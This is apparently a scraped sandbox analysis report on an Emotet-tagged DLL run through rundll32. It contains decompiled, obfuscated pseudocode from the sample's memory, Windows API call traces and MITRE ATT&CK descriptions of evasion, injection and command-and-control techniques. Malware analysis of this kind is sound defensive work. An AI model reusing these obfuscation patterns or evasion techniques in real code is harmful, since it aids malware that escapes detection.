WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000), ref: 6EDC7EBD
GetLastError.KERNEL32(?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?,?,?,6EDC70CD,?), ref: 6EDC7EC9

Part of subcall function 6EDC7E8F: CloseHandle.KERNEL32(FFFFFFFE,6EDC7ED9,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?,?), ref: 6EDC7E9F

___initconout.LIBCMT ref: 6EDC7ED9

Part of subcall function 6EDC7E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EDC7E80,6EDC7844,?,?,6EDC6B46,?,?,00000000,?), ref: 6EDC7E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?), ref: 6EDC7EEE

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: de5bf17d9aa9a4bbdc16a490cf9d0fc15136894ddc1536cc8f495509e83253b0
Instruction ID: 511cfda56850160110d2c5d35334f146585cdc3d05243d190f4bd4f330733c94
Opcode Fuzzy Hash: de5bf17d9aa9a4bbdc16a490cf9d0fc15136894ddc1536cc8f495509e83253b0
Instruction Fuzzy Hash: 58F0983650061AFBDF525FE59C08A8E7F2EEB0ABE5B044410FE1996564C732CC61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBFAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EDBFAC5

Strings

RCC, xrefs: 6EDBFADF
MOC, xrefs: 6EDBFAD7

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1d09560ee9a825778777adf79d08d1f3f01e6c544880cd04ab5f7241b0c9f94b
Instruction ID: ef48163d2c763145c9fa2102d69f3986d2406bc5fd8b75b911c8640c43a93538
Opcode Fuzzy Hash: 1d09560ee9a825778777adf79d08d1f3f01e6c544880cd04ab5f7241b0c9f94b
Instruction Fuzzy Hash: 774167B6900209EFCF05CF94CD90ADEBBB9FF08304F248499E91667251E335D951DB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6176 Parent PID: 1456 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1050
Total number of Limit Nodes:	7

Executed Functions

Function 00DB9100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00DB9100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E00DA8002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E00DBE399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x00db910a
0x00db910c
0x00db910d
0x00db910e
0x00db9111
0x00db9114
0x00db9117
0x00db911a
0x00db911d
0x00db9120
0x00db9123
0x00db9126
0x00db9127
0x00db912a
0x00db912d
0x00db9130
0x00db9133
0x00db9134
0x00db9137
0x00db9138
0x00db9139
0x00db913a
0x00db913f
0x00db9149
0x00db914c
0x00db9153
0x00db915a
0x00db9161
0x00db9168
0x00db916f
0x00db9176
0x00db918e
0x00db9191
0x00db9198
0x00db919f
0x00db91a6
0x00db91ad
0x00db91b4
0x00db91bb
0x00db91c2
0x00db91d5
0x00db91ef
0x00db91f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00DB91EF

Strings

31, xrefs: 00DB919F

Memory Dump Source

Source File: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, Offset: 00DA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: ed2c75eaee789405ad45495e034b3e85827c9812d4ddd8a08790c1ce08cd0db2
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 6831D272801259BBCF559FA6CD45CDFBFB5FF89714F108158FA1462120C3728A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DB0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00DB0207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00DA8002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E00DBE399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x00db020f
0x00db0212
0x00db0214
0x00db0217
0x00db021a
0x00db021d
0x00db021f
0x00db0224
0x00db0232
0x00db0235
0x00db0238
0x00db0239
0x00db023a
0x00db0246
0x00db0247
0x00db024c
0x00db0250
0x00db0257
0x00db025e
0x00db0265
0x00db0269
0x00db0270
0x00db0277
0x00db0285
0x00db028a
0x00db0291
0x00db0298
0x00db029f
0x00db02a9
0x00db02af
0x00db02b2
0x00db02d5
0x00db02e1
0x00db02e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 00DB02E1

Strings

(Gt, xrefs: 00DB025E

Memory Dump Source

Source File: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, Offset: 00DA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 59640d64d89b71682188e9a22e84d5a2fc189d951182c356570b1bf6ec653242
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 2C2166B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F108199E515AB250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00DAF3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00DAF3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E00DBE399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x00daf3fd
0x00daf403
0x00daf407
0x00daf40e
0x00daf415
0x00daf422
0x00daf423
0x00daf429
0x00daf42c
0x00daf433
0x00daf43a
0x00daf441
0x00daf448
0x00daf44f
0x00daf456
0x00daf45d
0x00daf464
0x00daf46b
0x00daf479
0x00daf47c
0x00daf495
0x00daf49f

APIs

ExitProcess.KERNEL32(00000000), ref: 00DAF49F

Memory Dump Source

Source File: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, Offset: 00DA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 9b0836e66b57a9e26b32c34bc12620b4e99376294fb374346f8fa6bd7921955b
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 461106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E521AB240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report mal2.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre